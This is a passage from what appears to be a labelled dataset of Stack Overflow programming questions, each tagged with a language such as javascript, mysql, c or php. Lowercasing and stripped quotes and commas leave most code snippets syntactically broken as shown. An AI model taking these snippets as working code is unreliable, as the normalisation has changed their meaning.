download&gt;習近平反貪&lt;/a&gt;&lt;/li&gt;         &lt;li&gt;伊波拉與伊斯蘭國：世界末日的徵兆&lt;/li&gt;         &lt;li&gt;人類是否應探索太空 &lt;/li&gt;         &lt;li&gt;社會的價值觀與同性戀&lt;/li&gt;         &lt;li&gt;兩岸的未來&lt;/li&gt;     &lt;/div&gt; </code></pre>,html
finding the mode in an object containing number properties  i have an object that contains some categories as keys and then an integer as a property:   <pre><code>{     thing1: 12      thing2: 32      thing3: 9      thing4: 2 } </code></pre>   i need to find the mode out of all the numbers (the highest number - 32 in this case) and then return the key. what s the best way to do this,javascript
ajax request with .ashx  i am trying to send the ajax request to handler.ashx on click of link. i have checked all the ready states and status of the ajax request. on click event handler.ashx gets called but response from the handler is not received.    when i remove condition  if (xhr.readystate==4)   and keep only  if (xhr.status == 200)  then it is working...    please have a look at following code and tell me what is going wrong       thanks!!! :)    js :    <pre><code>&lt;script type= text/javascript &gt;     function setactive(element)      {          element.style.color =  #ff0000 ;          var links = document.getelementsbyname( link );         for (i = 0; i &lt; links.length; i++)             if (links[i] != element)              {                 links[i].style.color =  blue ;             }              sendreq();       }      function sendreq()     {           var xhr;         var griddata;         var url;          url =  handler.ashx ;         xhr = getxmlhttprequestobject();          xhr.onreadystatechange = function ()          {               if (xhr.readystate == 1 || xhr.readystate == 2 || xhr.readystate == 3)               {                  document.getelementbyid( restext ).innerhtml =  loading.... ;              }             else if (xhr.readystate == 4 &amp;&amp; xhr.status==200)              {                 document.getelementbyid( restext ).innerhtml = xhr.responsetext;              }              else if (xhr.status == 404)                {                   document.getelementbyid( restext ).innerhtml =  page not found ;                }               else                {                     document.getelementbyid( restext ).innerhtml =  error.... ;               }          }           xhr.open( post   url  true);         xhr.send(null);     }       function getxmlhttprequestobject() {          var xhr;          var ua = navigator.useragent.tolowercase();          try {              if (!window.activexobject) {                  xhr = new xmlhttprequest();             }             else {                 if (ua.indexof( msie 5 ) == -1) { //ie 5.x                     xhr = new activexobject( msxml2.xmlhttp );                 }                 else { //ie 6.x and up                       xhr = new activexobject( microsoft.xmlhttp );                 }             }               if (xhr == null) {                 throw  unable to instantiate the xmlhttprequest object. ;             }         }         catch (e) {             alert( this browser does not appear to support ajax functionality. error:   + e.name           +   description:   + e.message);         }         return xhr;     }        &lt;/script&gt; </code></pre>   .aspx file :   <pre><code>&lt;body&gt; &lt;form id= form1  runat= server &gt; &lt;div&gt;  &lt;ul&gt; &lt;li&gt;&lt;a id= link1  name= link  href= javascript:void(0);  onclick= setactive(this); &gt;quick links&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a id= link2  name= link  href= javascript:void(0);  onclick= setactive(this); &gt;my acount&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a id= link3  name= link  href= javascript:void(0);  onclick= setactive(this); &gt;job post&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a id= link4  name= link  href= javascript:void(0);  onclick= setactive(this); &gt;shortlisted candidates&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a id= link5  name= link  href= javascript:void(0);  onclick= setactive(this); &gt;selected candidates&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a id= link6  name= link  href= javascript:void(0);  onclick= setactive(this); &gt;logout&lt;/a&gt;&lt;/li&gt; &lt;/ul&gt;    &lt;/div&gt; &lt;div&gt;     &lt;asp:contentplaceholder id= contentplaceholder1  runat= server &gt;     &lt;div id= restext &gt;&lt;/div&gt;     &lt;/asp:contentplaceholder&gt; &lt;/div&gt; &lt;/form&gt; &lt;/body&gt; </code></pre>   handler file :       &lt;%@ webhandler language= c#  class= handler  %>   <pre><code>using system; using system.web;  public class handler : ihttphandler {  public void processrequest (httpcontext context) {     context.response.contenttype =  text/plain ;     context.response.write( hello world ); }  public bool isreusable {     get {         return false;     } }  } </code></pre>,asp.net
missing } in xml expression and exce_next  my javascript function is throwing this error   <pre><code>var cycles = 0; var exec_next = null;  function timer_interrupt() { cycles++;  if (exec_next) {     var cmd = exec_next;     exec_next = null;     cmd();   }  } </code></pre>   using firebug it says the } should be at the end of the cycles++; what to do  i don t have any xml script being displayed     it is being included in my template like this   <pre><code>&lt;script language= javascript  src= mysript.js &gt; &lt;/script&gt; </code></pre>,javascript
combining a directoryinfo and a fileinfo path  if i have an absolute <em>directoryinfo</em> path and a relative <em>fileinfo</em> path  how can i combine them into an absolute <em>fileinfo</em> path     for example:   <pre><code>var absolutedir = new directoryinfo(@ c:\dir ); var relativefile = new fileinfo(@ subdir\file ); var absolutefile = new fileinfo(absolutedir  relativefile); //-&gt; how to get this done  </code></pre>,.net
programming in c. data validation and converting characters into integers  i am making a program that includes a simple switch condition.    the problem i have encountered is that i am also validating user input so that the user cannot break the program by entering a character.     the switch works fine when i remove the <code>isdigit()</code> so i know it is something happening with data validation.      what i was told to do was use <code>%c</code> in my <code>scanf()</code> but if i do that then something else prevents the program from working. i suspect that it is because the switch is no longer is being referenced since the cases are 1 2 3...    the way i want to do it is just turn the character back into an integer before it reaches the switch but i am not sure how i could do that.    something is happening when i copy and paste parts of the program so i will just paste the entire program.    <pre><code>#include &lt;stdio.h&gt; #include &lt;ctype.h&gt;  int main(void) {    int busroute  ltrigger;    char startloc destloc;     ltrigger = 1;    busroute = 0;    startloc = 0;    destloc = 0;     while (ltrigger &gt;= 1)    { //give user a menu and prompt to select input for busroute    printf( \n\n\tplease only use the numbers provided. );    printf( \n\n  1.\n\troute_1\tcherokee park and kfc yum center transit. );    printf( \n\n  2.\n\troute_2\tul and cherokee park transit. );    printf( \n\n  3.\n\troute_3\tul and kfc yum center transit. );    printf( \n\n\n\t please select one route from the above menu. );    printf(  \n\n\tonly use the single digit corresponding to the route:  );    scanf( %d    &amp;busroute);  //refresh window          system( cls );         if(isdigit(busroute))    { //use switch to determin user s route. then present choice of to/from             switch (busroute)              {                  case 1:         printf( \n\n\tyou have chosen cherokee park and kfc yum center transit. );         printf( \n\n\tif you want to travel from cherokee park to kfc yum center enter c. );         printf( \n\n\tif you want to travel from kfc yum center to cherokee park enter k. );         printf( \n\n\tenter your seletion now:  );         scanf( %c    &amp;startloc);                                                                    break;  //give two if statements to determine users location and confirm destination         if (startloc ==  c  || startloc ==  c )         {         printf( \n\n\tyou have chosen to travel from cherokee park to kfc yum center. );         printf( \n\n\tto confirm you want to travel from cherokee park to kfc yum center please enter k:  );         scanf( %c    destloc); //refresh                    system( cls );     //confirmation of destination          if (destloc ==  k  || destloc ==  k )           {                printf( \n\n\tyour bus route will pick you up from cherokee park and take you to kfc yum center. );                getch();            }//end dest                                                               }//end start            //false user input                         else              {                printf( \n\n\tyou did not enter a correct character.\n\n\tpress enter and only enter specific values. );                getch();                     //reset loop and refresh                ltrigger = 1;                system( cls );                }//end else             case 2:           printf( \n\n\tyou have chosen cherokee park and ul transit. );           break;            case 3:           printf( \n\n\tyou have chosen ul and kfc yum center transit. );           break;               }//end switch       }//end if                else                {                    printf( \n\n\tyou did not enter a number.\n\n\tpress enter and only enter specific values. );                    getch();                     //reset loop and refresh                    ltrigger = 1;                    system( cls );                 }//end else       }//end loop        getch();   }//end main </code></pre>,c
android classcastexception getting view  i am trying to do one main activity slider over next one.     i have layouts structure in xml and after i try to get button view instance  but i get next error and don t know resolve it.    error   <pre><code>java.lang.classcastexception: android.widget.button cannot be cast to android.widget.linearlayout </code></pre>   activity_home   <pre><code>&lt;framelayout xmlns:android= http://schemas.android.com/apk/res/android      xmlns:tools= http://schemas.android.com/tools      android:layout_width= match_parent      android:layout_height= match_parent  &gt;      &lt;linearlayout         android:id= @+id/leftview          android:layout_width= match_parent          android:layout_height= match_parent          android:background= #cad000          android:orientation= vertical  &gt;     &lt;/linearlayout&gt;      &lt;linearlayout         android:id= @+id/mainview          android:layout_width= match_parent          android:layout_height= match_parent          android:background= #876000          android:orientation= vertical  &gt;          &lt;linearlayout             android:layout_width= match_parent              android:layout_height= 50dp              android:background= #cecece              android:orientation= horizontal  &gt;              &lt;button                 android:id= @+id/btnslide                  style= @style/btn1                  android:layout_width= wrap_content                  android:layout_height= wrap_content                  android:text= x  /&gt;         &lt;/linearlayout&gt;     &lt;/linearlayout&gt;  &lt;/framelayout&gt; </code></pre>   homeactivity   <pre><code>button btnslide; linearlayout leftview; linearlayout mainview; slideranimation slideanimation;  @override protected void oncreate(bundle savedinstancestate) {      super.oncreate(savedinstancestate);     setcontentview(r.layout.activity_home);      leftview = (linearlayout) findviewbyid(r.id.leftview);     mainview = (linearlayout) findviewbyid(r.id.mainview);      btnslide = (button) findviewbyid(r.id.btnslide);     btnslide.setonclicklistener(this);  this.slideanimation = new slideranimation(this);     this.slideanimation.initializefilteranimations(this.mainview  this.leftview);  } </code></pre>   thanks in advance.,android
game boy color programming in c  could someone point me to a source to begin game boy color programming in c (a compiler and tutorial getting me all setup)  i have only found a bunch of broken links  and a bunch of docs making sure you have the latest  windows 95  os hahhaa    i am looking for step by step instructions to install and develop for game boy color on windows 7  mac os x  or linux ubuntu 12.04. which os would you recommend for game boy color development,c
how to create a user following php script   what i am trying to do is to add a user following system (twitter like) to my script.    this is how the db structure looks like:   <pre><code>create table if not exists `user_follow` (   `id` int(11) not null auto_increment    `follower` int(11) not null    `following` int(11) not null    `subscribed` timestamp default current_timestamp    primary key (`id`)    unique key `follow_unique` (`follower` `following`) ) engine=myisam  default charset=latin1 ; </code></pre>   if i want create i should use this code:   <pre><code>mysql_query(  insert into `user_follow` (`follower`  `following`  `subscribed`) values ( $follower    $following   current_timestamp);  ); </code></pre>   for the unsubscribe it should look like this:   <pre><code>mysql_query(  delete from `user_follow` where `follower` =  $follower  and `following` =  $following ;  ); </code></pre>   .   <pre><code>$follower = $_session[user_id]; // the user_id for the one who is currently logged id  $following = $user_id; // the user_id for the user profile where the script will be on </code></pre>   on the profile page i have a form like this:   <pre><code>&lt; php if (isset($_session[user_id]) &amp;&amp; $_session[user_id] != $user_id) {  &gt; &lt;form action=   method= post &gt; &lt;input name= action  type= hidden  value= &lt; php echo $subscribe_status;  &gt; /&gt; &lt;button name= subject  type= submit  value= &lt; php echo $subscribe_text.   .$username;  &gt; &gt;&lt; php echo $subscribe_text.   .$username;  &gt;&lt;/button&gt; &lt;/form&gt; &lt; php }  &gt; </code></pre>   what i don t know is how to link all of those codes...    edit:    <code>$subscribe_status</code> should change to <code>follow</code> or <code>unfollow</code> depending if the user is already following that user or not (by checking with a query i think).    also <code>$subscribe_text</code> should be <code>follow</code> or <code>unfollow</code> depending if the currently logged in user (<code>$follower</code>) is already following that user or not.    can anybody help me please     edit 2 (based on mihir singh s answer)   <pre><code>$user_follow = dbquery(  select * from `user_follow` where `follower` =  $follower  and `following` =  $following ;  ); $check_status = dbrows($user_follow);  $sub = false; //boolean var which states if subscribed or not  if ( $check_status !== 0 ){ //pseudo code     $sub = true; //if row is found  they are subscribed  so set $sub to true }  if($sub){      $subscribe_status =  follow ;      $subscribe_text =  follow ; }  else{      $subscribe_status =  unfollow ;      $subscribe_text =  unfollow ; } </code></pre>,php
while and do/while in *.java and *.class. in jetbrain idea  i`m study java  but i found a problem in javatutorials.   <pre><code>/* continuewithlabeldemo.java */ class continuewithlabeldemo {     public static void main(string[] args) {         string searchme =  look for a substring in me ;         string substring =  sub ;         boolean foundit = false;         int max = searchme.length() - substring.length();         test:         for (int i = 0; i &lt;= max; i++) {             int n = substring.length();             int j = i;             int k = 0;             while (n-- != 0) {                 if (searchme.charat(j++) != substring.charat(k++)) {                     continue test;                 }             }             foundit = true;             break test;         }         system.out.println(foundit    found it  :  didn t find it );     } } </code></pre>   when i debuging this program  i found something wried in its class file:   <pre><code>/* continuewithlabeldemo.class */ class continuewithlabeldemo {     continuewithlabeldemo() {     }     public static void main(string[] args) {         string searchme =  look for a substring in me ;         string substring =  sub ;         boolean foundit = false;         int max = searchme.length() - substring.length();         label26:         for(int i = 0; i &lt;= max; ++i) {             int n = substring.length();             int j = i;             int k = 0;             do {                 if(n-- == 0) {                     foundit = true;                     break label26;                 }             } while(searchme.charat(j++) == substring.charat(k++));         }         system.out.println(foundit  found it : didn\ t find it );     } } </code></pre>   the while loop become do/while loop. so i replace code from *.class to *.java and build it again.now the do/while loop become while loop. is there necessary exchange them every build  why java do this,java
have a col layout become a row layout once it drops below a min-width  i d like to achieve the next result: i have 2 columns with the right one filling the remaining width. once the right one drops below its min-width it has to go below the left colum and the left column should fill the whole width. is this possible using only css     this is the closest i could get  but it doesn t work in ff and the leftcol obviously keeps its min-width of 100px when the rightcol drops below it.   <pre><code>#leftcol{     background-color: blue;     width: 20%;     min-width: 100px;     float: left; }  #rightcol{     background-color: yellow;     min-width: 200px;     overflow:hidden; } </code></pre>,css
trying to add barbuttonitem to programmatically created navigationcontroller  i have pushed a view controller embedded in a navigation controller after tapping a button in my app. i am trying to add a  save  button in the right corner of the nav bar. however  with this code it is not showing up. my assumption is that it is not showing up because <code>nc.navigationitem.rightbarbuttonitem</code> should be placed in <code>viewwillappear</code>. since <code>nc</code> is programmatically created and does not have a class file with <code>viewwillappear</code> how can i do this     here is my code:   <pre><code>- (ibaction)editprofilebuttontapped:(uibutton *)sender {     fxformviewcontroller *vc = [[fxformviewcontroller alloc] init];     vc.formcontroller.form = [[personalcontactinfoform alloc] init];     uinavigationcontroller *nc = [[uinavigationcontroller alloc] initwithrootviewcontroller:vc];     nc.navigationbar.translucent = no;     nc.navigationbar.bartintcolor = [uicolor colorwithred:(105/255.0)                                                                              green:(210/255.0)                                                                               blue:(231/255.0)                                                                              alpha:1.0];      // why is this button not being added      nc.navigationitem.rightbarbuttonitem = [[uibarbuttonitem alloc] initwithtitle:@ save  style:uibarbuttonitemstyleplain target:self action:nil];      [self presentviewcontroller:nc animated:yes completion:nil]; } </code></pre>,objective-c
comment out a python code block  is there a mechanism to comment out large blocks of python code     right now  the only ways i can see of commenting out code are to either start every line with a <code>#</code>  or to enclose the code in triple quotes: <code>   </code>.    the problem with these is that inserting <code>#</code> before every line is cumbersome and <code>   </code> makes the string i want to use as a comment show up in generated documentation.    after reading all comments  the answer seems to be  no .,python
unable able to float html tables left and right  after trying all suggestions and tags i am unable to float my tables side by side.  can someone assist me or recommend a solution                    <b> electrode location left </b>                                                                                                <b>date</b> &nbsp;&nbsp;                                                   <b>contact</b> &nbsp;&nbsp;                                                  <b>case</b> &nbsp;&nbsp;                                                  <b>voltage</b> &nbsp;&nbsp;                                                  <b>pulse width</b> &nbsp;&nbsp;                                                  <b>frequency</b> &nbsp;&nbsp;                                                                                                                               {{ _________________}}  &nbsp;&nbsp;                                                  {{ _________________}}  &nbsp;&nbsp;                                                  {{ _________________}}  &nbsp;&nbsp;                                                  {{ _________________}}  &nbsp;&nbsp;                                                  {{ _________________}}  &nbsp;&nbsp;                                                  {{ _________________}}  &nbsp;&nbsp;                                                                                                                                                  <b> electrode location right </b>                                                                                                <b>date</b> &nbsp;&nbsp;                                                   <b>contact</b> &nbsp;&nbsp;                                                  <b>case</b> &nbsp;&nbsp;                                                  <b>voltage</b> &nbsp;&nbsp;                                                  <b>pulse width</b> &nbsp;&nbsp;                                                  <b>frequency</b> &nbsp;&nbsp;                                                                                                                                                                       {{ _________________}}  &nbsp;&nbsp;                                                  {{ _________________}}  &nbsp;&nbsp;                                                  {{ _________________}}  &nbsp;&nbsp;                                                  {{ _________________}}  &nbsp;&nbsp;                                                  {{ _________________}}  &nbsp;&nbsp;                                                  {{ _________________}}  &nbsp;&nbsp;,html
mysql join wont return results with 0 count <pre><code>select categories.*  count(categoryid) as kritcount from categories as categories left join krits on categories.id = categoryid where (krits.approved =  1 ) group by categories.id </code></pre>   so this works great except that it does not return a category that has a 0 count of krits in the category.    it will if i remove the where statement but i need the where to only select the krits where the field approved = 1,mysql
counting distinct answer values from an  in  function:  i want to count how many times people signed up for our annual conference  but i want to count each distinct conference only once (sometimes people sign up for additional functions at a single conference so the activity in their record will show multiple  attendances  for a single conference). the answer table should show no more than 2 in the  # of conf  field:   <pre><code>select distinct n.id  n.last_name  n.first_name  count(n.id) as  # of conf  from name n join activity a on n.id = a.id where a.product_code in ( conf_12   conf13 ) and n.id &lt;&gt;   and n.last_name &lt;&gt;   group by n.id  n.last_name  n.first_name order by n.last_name </code></pre>   i d appreciate any help i can get!,mysql
htcaccess rediect repeating the subfolder  i am trying to redirect the main page to a blog.  i am using the htcaccess code like this   <pre><code>redirect / http://coolefitness.com/blog </code></pre>   the result is  <a href= http://coolefitness.com/blogblogbloglblogblog  rel= nofollow noreferrer >http://coolefitness.com/blogblogbloglblogblog</a>    no idea why it is repeating the blog.  i haven t told it to do that.  i don t even know how i would make that loop happen.    here is my full htcaccess   <pre><code>directoryindex index.php redirect /index.html http://coolefitness.com/index.php redirect /members.html http://coolefitness.com/members.php redirect /what-is-coolefitness.html http://coolefitness.com/what-is-coolefitness.php redirect /instructors.html http://coolefitness.com/instructors.php    rewriteengine on  #unless directory  remove trailing slash rewritecond %{request_filename} !-d #rewriterule ^([^/]+)/$ http://example.com/folder/$1 [r=301 l] rewriterule ^([^/]+)/$ http:/coolefitness.com/blog/$1 [r=301 l]  redirect / http://coolefitness.com/blog  errordocument 403 /404.php errordocument 404 /404.php errordocument 500 /404.php  fallbackresource payment/app.php    # resolve .php file for extensionless php urls rewriterule ^([^/.]+)$ $1.php [l] </code></pre>   i have tried doing a rewrite  but that isn t working.  i have removed it and the issue still happens.,html
show command denied to user  when setting up user permissions  i need to grant a user update and select to two specific column in a db using mysql    i used the below command to do this   <pre><code>grant select (title new_title catagory description runtime)  update    (title new_title catagory description runtime) on database.table1 to  user1 @ %  identified  by     xxx ; flush privileges </code></pre>   however when i try to view the table/fields using sequal pro i get the following error   <pre><code>mysql said: show command denied to user  suer1 @ host.x.x.x  for table  table1  </code></pre>   i can see the db in the database list along with the one table i have granted access to  but i can t read any of the data from it.. would anyone know how i can fix this error and only view/edit the tables/column i want..,mysql
get sum across multiple tables  table example:   <pre><code>branch ---------------------------------- branchid | branchname | brmgrname| ---------------------------------- |      1  | a         |tom       | |      2  | b         |jeff      | |      3  | c         |lin       | ----------------------------------  order ---------------------- orderid   | branchid | ---------------------- |   1     |     2   |  |   2     |     2   |  |   3     |     3   |  ----------------------   payment -------------------------------- paymentid | orderid | p-amount | -------------------------------- |   1     |     1   |   50.00  | |   2     |     2   |  126.00  | |   3     |     3   |   50.00  | -------------------------------- </code></pre>   the output that i want are   <pre><code>------------------------------------------- | branchname | brmgrname | total amount   | ------------------------------------------- |      a     |  tom      |     0.00       | |      b     |  jeff     |   252.00       | |      c     |  lin      |    50.00       | ------------------------------------------- </code></pre>   <br> i am trying to determine how to sum up the amount from each branch across 3 different tables. <br><br> in the output: <br> - branchname  a  don t have any value from the order table  <br> - branchname  b  was sum up by paymentid 1 &amp; 2  and the same with <br> - branchname  c  <br><br>    i have successfully return both the branchname and total amount by joining branch and payment tables:   <pre><code>select `order`.branchid  sum(`p-amount`) from `order` join payment on `order`.orderid = payment.orderid group by branchid </code></pre>   but when i attempt the following code  it return the wrong value and only 1 row have selected.   <pre><code>select branchname  brmgrname  sum(`p-amount`) from branch  payment join (select `order`.branchid  sum(`p-amount`)       from `order`       join payment       on `order`.orderid = payment.orderid       group by branchid) b on b.branchid = branchid; </code></pre>   any help is very much appreciated.,mysql
jquery: calculate volume  took the base of a code from one user and modified a bit. basically it does what i need - calculates the sum from three values (first two are in meters  third in centemeters). but i would like it to be more simpler. i dont t need  select options  in thickness field - <strong>it must be calculated in centemeters!</strong>. and second request - <strong>the amount must be in m<sup>3</sup>!</strong>    html:   <pre><code>&lt;table&gt;     &lt;tbody&gt;         &lt;tr&gt;             &lt;td&gt;width (m)&lt;/td&gt;             &lt;td&gt;                 &lt;input type= text  id= width  /&gt;             &lt;/td&gt;         &lt;/tr&gt;         &lt;tr&gt;             &lt;td&gt;length (m)&lt;/td&gt;             &lt;td&gt;                 &lt;input type= text  id= length  /&gt;             &lt;/td&gt;         &lt;/tr&gt;         &lt;tr&gt;             &lt;td&gt;thickness (cm)&lt;/td&gt;             &lt;td&gt;                 &lt;input type= text  id= thickness  /&gt;             &lt;/td&gt;             &lt;td&gt;                 &lt;select id= sel &gt;                     &lt;option&gt;centemeter&lt;/option&gt;                     &lt;option&gt;meter&lt;/option&gt;                     &lt;option&gt;melemeter&lt;/option&gt;                 &lt;/select&gt;             &lt;/td&gt;         &lt;/tr&gt;         &lt;tr&gt;             &lt;td&gt;total (m&lt;sup&gt;3&lt;/sup&gt;)&lt;/td&gt;             &lt;td id= answer &gt;&lt;/td&gt;         &lt;/tr&gt;     &lt;/tbody&gt; &lt;/table&gt; </code></pre>   javascript:   <pre><code>$( #width  #length  #thickness  #sel ).on( change keyup keydown   function() {     var width = $( #width ).val();     var length = $( #length ).val();     var thickness = $( #thickness ).val();     var result = width * length * thickness;     var select_val = $( #sel ).val();      if (select_val ==  centemeter ) {         $( #answer ).text(result).append(  cm&lt;sup&gt;3&lt;/sup&gt; );;     } else if (select_val ==  meter ) {         result = result / 100;         $( #answer ).text(result).append(  m&lt;sup&gt;3&lt;/sup&gt; );;     } else if (select_val ==  melemeter ) {         result = result * 10;         $( #answer ).text(result).append(  mm&lt;sup&gt;3&lt;/sup&gt; );     } }); </code></pre>   <a href= https://jsfiddle.net/gallex/0l8s0ngg/  rel= nofollow >jsfiddle</a>    <strong>update:</strong> i thought this will be an easy task: calculate amount of three numbers - something like <code>var result = width * length * thickness;</code> only <strong>thickness</strong> is 1/100 of width and length...,javascript
how to use collapsiblepanel  work on c# asp.net vs05 .i want to use collapsiblepanel on my asp.net project.i can use it on ajax project. how to use it with out ajax.give me syntax,asp.net
downloading/playing static audio files on iphone  i have an iphone app that downloads multiple wav files from the web  storing the resultant sound data on the phone for playback in the app.  sometimes this works fine  and sometimes i m getting one of two problems with the sound:    1) there are pieces of a downloaded sound file that play back as staticky  corrupted noise    2) sometimes the full download doesn t appear to happen  meaning the binary data isn t recognizable as a legit sound file and chokes my playback library (fmod)  causing a crash.    i m using an nsurlconnection to build up the data by appending data received from the connection  as described in apple s docs.  my question is this: how can i write my downloading code so as to ensure that all files get downloaded and that they get downloaded without the corruption/noise     <strong>facts:</strong>   <ul> <li>the downloads are happening from amazon s3.  </li> <li>they are a maximum of around a half megabyte in size.  </li> <li>they are not corrupted on the server -- i.e. they play back fine in a browser even when screwed up on the phone.</li> </ul>   below is the code i use to download all undownloaded files on each app launch.  thanks in advance for any help!   <pre><code>- (void)downloadoutstandingfilesounds{     nsarray *thefiles = [file listofdownloadableopponentfiles];      if ([thefiles count] &gt; 0) {         nslog(@ updating %d new files...   [thefiles count]);         for (file *file in thefiles) {             self.thefile = file;                     nsurlrequest *therequest = [nsurlrequest requestwithurl:[nsurl urlwithstring:file.publicurl]                                                          cachepolicy:nsurlrequestuseprotocolcachepolicy                                                     timeoutinterval:60.0];             nsurlconnection *theconnection = [[nsurlconnection alloc] initwithrequest:therequest delegate:self];             if (theconnection) {                 currentfiledatacontainer = [[nsmutabledata data] retain];             }else {                 nslog(@ failed attempt to download resource at: %@   file.publicurl);             }          }         [[nsnotificationcenter defaultcenter] postnotificationname:@ outstandingfilesoundsdownloaded  object:self];     } }  - (void)connection:(nsurlconnection *)connection didreceiveresponse:(nsurlresponse *)response{     [currentfiledatacontainer setlength:0]; }  - (void)connection:(nsurlconnection *)connection didfailwitherror:(nserror *)error{     [connection release];     [currentfiledatacontainer release];      nslog(@ connection failed! error - %@ %@             [error localizeddescription]            [[error userinfo] objectforkey:nserrorfailingurlstringkey]); }  - (void)connection:(nsurlconnection *)connection didreceivedata:(nsmutabledata *)data{     [currentfiledatacontainer appenddata:data]; }  - (void)connectiondidfinishloading:(nsurlconnection *)connection{     nslog(@ success! received %d bytes of file data   [currentfiledatacontainer length]);     self.thefile.filesounddata = currentfiledatacontainer;     [self.thefile save];     nslog(@ downloadable files count: %d   [[file listofdownloadableopponentfiles] count]);     self.thefile = nil;     [file clearcache]; } </code></pre>,iphone
what does the compiler do to perform a cast operation in c++  <blockquote>    <strong>possible duplicate:</strong><br>   <a href= https://stackoverflow.com/questions/340413/how-do-c-c-compilers-handle-type-casting >how do c/c++ compilers handle type casting between types with different value ranges </a>    </blockquote>     what does the compiler do to perform a cast operation in c++     explain with some sample c++ code.,c++
javascript:  document.write  removes all duplicated spaces  i want to keep space when i use document.write();   <pre><code>var text =  many         spaces ; document.write(text); </code></pre>   but the output is  many spaces ... how to do that please      thank you your time.    ps: i tried with innerhtml but it does the same:   <pre><code>&lt;p id=demo&gt;&lt;/p&gt;  document.getelementbyid( demo ).innerhtml =  many      spaces ; </code></pre>,javascript
error in file definition  hi this is my fisrt time to read or to write to a file i got errors in defining file to read from  help me   <pre><code> /* global.h */      #include &lt;stdio.h&gt;  /* include declarations for i/o routines */     #include &lt;ctype.h&gt;  /* ... and for character test routines */     #include &lt;stdlib.h&gt; /* ... and for some standard routines  such as exit */     #include &lt;string.h&gt; /* ... and for string routines */      #define bsize  128  /* buffer size */     #define none   -1     #define eos     \0       #define num    256     #define div    257     #define mod    258     #define id     259     #define done   260     #define plus   243     #define minus  255       int tokenval = none;   /*  value of token attribute */        int lineno = 1;      struct entry {  /*  form of symbol table entry  */       char *lexptr;        int  token;         };       struct entry symtable[];  /* symbol table  */       void init();  /*  loads keywords into symtable  */      void error(char* m);  /*  generates all error messages  */      int lexan();  /*  lexical analyzer  */      void parse();  /*  parses and translates expression list  */      int insert(char *s  int tok);  /*  returns position of entry for s */      int lookup(char *s);  /*  returns position of entry for s */      void emit (int t  int tval);  /*  generates output  */     /* init.c */      struct entry keywords[] = {       {  div   div }        {  mod   mod  }        {  plus   plus }        {  minus   minus}        { 0      0 }     };      void init()  /*  loads keywords into symtable  */     {       struct entry *p;       for (p = keywords; p-&gt;token; p++)         insert(p-&gt;lexptr  p-&gt;token);     }     /* symbol.c */       #define strmax 999  /*  size of lexemes array  */     #define symmax 100  /*  size of symbol table */      char lexemes[strmax];     int  lastchar = - 1;  /*  last used position in lexemes   */     struct entry symtable[symmax];     int lastentry = 0;    /*  last used position in symtable  */      int lookup(char *s)         /*  returns position of entry for s */     {       int p;       for (p = lastentry; p &gt; 0; p = p - 1)         if (strcmp(symtable[p].lexptr  s) == 0)           return p;       return 0;     }      int insert(char *s  int tok)    /*  returns position of entry for s */     {       int len;       len = strlen(s);  /*  strlen computes length of s     */       if (lastentry + 1 &gt;= symmax)         error ( symbol table full );       if (lastchar + len + 1 &gt;= strmax)         error ( lexemes array full );       lastentry = lastentry + 1;       symtable[lastentry].token = tok;       symtable[lastentry].lexptr = &amp;lexemes[lastchar + 1];       lastchar = lastchar + len + 1;       strcpy(symtable[lastentry].lexptr  s);       return lastentry;     }     /* lexer.c */       char lexbuf[bsize];       int lexan ()  /*  lexical analyzer  */     {        int t;       while(1) {         t = fgetc (fs);         if (t ==     || t ==  \t )           ;  /*  strip out white space  */         else if (t ==  \n )           lineno = lineno + 1;         else if (isdigit (t)) {  /*  t is a digit  */           ungetc(t  fs);           fscanf(fs  %d   &amp;tokenval);           return num;         }         else if (isalpha(t)) {  /*  t is a letter */           int p  b = 0;           while (isalnum(t)) {  /* t is alphanumeric  */             lexbuf [b] = t;              t = fgetchar (fs);             b = b + 1;             if (b &gt;= bsize)               error( compiler error );           }           lexbuf[b] = eos;           if (t != eof)             ungetc(t  fs);           p = lookup (lexbuf);           if (p == 0)             p = insert (lexbuf  id);           tokenval = p;           return symtable[p].token;         }         else if (t == eof)           return done;         else {           tokenval = none;           return t;         }       }     }      /* emitter.c */     void emit (int t  int tval)  /*  generates output  */     {       switch(t) {       case  +  : case  -  : case  *  : case  / :         fprintf(ft  %c\n   t); break;       case plus :           fprintf(ft  plus\n ); break;       case minus :           fprintf(ft  minus\n ); break;        case div:         fprintf(ft  div\n ); break;        case mod:         fprintf(ft  mod\n ); break;       case num:         fprintf(ft  %d\n   tval); break;       case id:         fprintf(ft  %s\n   symtable[tval].lexptr); break;        default:              fprintf(ft  token %d  tokenval %d\n   t  tval);       }     }     /* parser.c -- without the optimizations */      int lookahead;      void match(int);     void start()  list()  expr()  moreterms()  term()  morefactors()  factor();      void parse()  /*  parses and translates expression list  */     {       lookahead = lexan();       start();     }      void start ()     {       /* just one production for start  so we don t need to check lookahead */       list(); match(done);     }      void list()     {       if (lookahead ==  (  || lookahead == id || lookahead == num) {         expr(); match( ; ); list();       }       else {         /* empty */       }     }      void expr ()     {       /* just one production for expr  so we don t need to check lookahead */       term(); moreterms();     }      void moreterms()     {       if (lookahead ==  + ) {         match( + ); term(); emit( +   tokenval); moreterms();       }       else if (lookahead ==  - ) {         match( - ); term(); emit( -   tokenval); moreterms();       }       else {         /* empty */       }     }      void term ()     {       /* just one production for term  so we don t need to check lookahead */       factor(); morefactors();     }      void morefactors ()     {       if (lookahead ==  * ) {         match( * ); factor(); emit( *   tokenval); morefactors();       }       else if (lookahead ==  / ) {         match( / ); factor(); emit( /   tokenval); morefactors();       }       else if (lookahead == plus) {         match(plus); factor(); emit(plus  tokenval); morefactors();       } else if (lookahead == minus) {         match(minus); factor(); emit(minus  tokenval); morefactors();       }       else if (lookahead == div) {         match(div); factor(); emit(div  tokenval); morefactors();       }       else if (lookahead == mod) {         match(mod); factor(); emit(mod  tokenval); morefactors();       }       else {         /* empty */       }     }      void factor ()     {       if (lookahead ==  ( ) {         match( ( ); expr(); match( ) );       }       else if (lookahead == id) {         int id_lexeme = tokenval;         match(id);         emit(id  id_lexeme);       }       else if (lookahead == num) {         int num_value = tokenval;         match(num);         emit(num  num_value);       }       else         error( syntax error in factor );     }      void match(int t)     {       if (lookahead == t)         lookahead = lexan();       else         error ( syntax error in match );     }     /* error.c */      void error(char* m)  /* generates all error messages  */     {       fprintf(stderr   line %d: 